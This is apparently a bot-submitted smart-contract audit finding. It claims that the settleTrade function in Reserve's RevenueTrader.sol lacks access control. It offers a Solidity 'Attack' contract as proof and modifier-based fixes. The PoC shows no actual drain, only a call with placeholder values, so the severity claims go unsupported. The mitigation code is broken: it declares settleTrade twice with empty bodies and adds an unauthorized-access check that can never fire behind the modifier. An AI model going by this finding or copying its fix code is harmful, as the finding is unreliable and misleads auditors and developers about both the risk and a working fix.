Unprotected settleTrade function in RevenueTrader.sol

[c4-bot-8]

Lines of code

https://github.com/code-423n4/2024-07-reserve/blob/3f133997e186465f4904553b0f8e86ecb7bbacbf/contracts/p1/RevenueTrader.sol#L54-L65

Vulnerability details

Impact

The function settleTrade() is called external and unprotected making it vulnerable to unauthorized access and manipulation allowing attacker's to disrupt the functionality of the contract and drain tokens

Proof of Concept

Attacker can exploit this vulnerability by calling function settleTrade() with malicious input parameters, manipulation the trade data and causing disruptions in the contract's functionality, granting the attacker access to do the following

1. Create fake trades or alter existing ones
2. Potentially drains tokens from the contract And since it is an unprotected external function the attacker can exploit the vulnerability this way.

contract Attack {
    address payable public attacker;
    RevenueTrader public revenueTrader;

    constructor(address _revenueTrader) {
        revenueTrader = RevenueTrader(_revenueTrader);
        attacker = payable(msg.sender);    
    }

    // function to execute the exploit
    function exploitSettleTrade() public {
        Trade memory maliciousTrade;
        maliciousTrade.tokenAddress = address(0x123456789);
        maliciousTrade.amount = 2000;

        revenueTrader.settleTrade(maliciousTrade);
     }
}

Tools Used

Slither auditing tool Manual code review

Recommended Mitigation Steps

Adding onlyAuthorized modifier on the function settleTrade() to restrict access to authorized users only Adding additional logging to monitor and detect potential unauthorized attempts

// add the onlyAuthorized modifier to restrict access to only authorized access
modifier onlyAuthorized {
    require(msg.sender == authorizedAddress, "Unathorized access");
    _;
}

// also include input validation to prevent malicious trade data
function settleTrade(Trade memory trade) external onlyAuthorized nonReentrant notPausedOrFrozen {
    require(trade.tokenAddress != address(0), "Invalid token address");
    require(trade.amount > 0, "Invalid trade amount");
}

//additional logging to monitor and detect potential unauthorized access attempts
function settleTrade(Trade memory trade) external onlyAuthorized nonReentrant notPausedOrFrozen {
    if (msg.sender != authorizedAddress) {
        emit UnauthorizedAccessAttempt(msg.sender);
        revert("Unauthorized access");
    }
}

The authorizedAddress variable should be defined and set to the owner's or desired address. The logging can be adjusted too to fit in with specific needs as I only included it to show how it can be implemented as to provide added access control to the contract

Assessed type

Access Control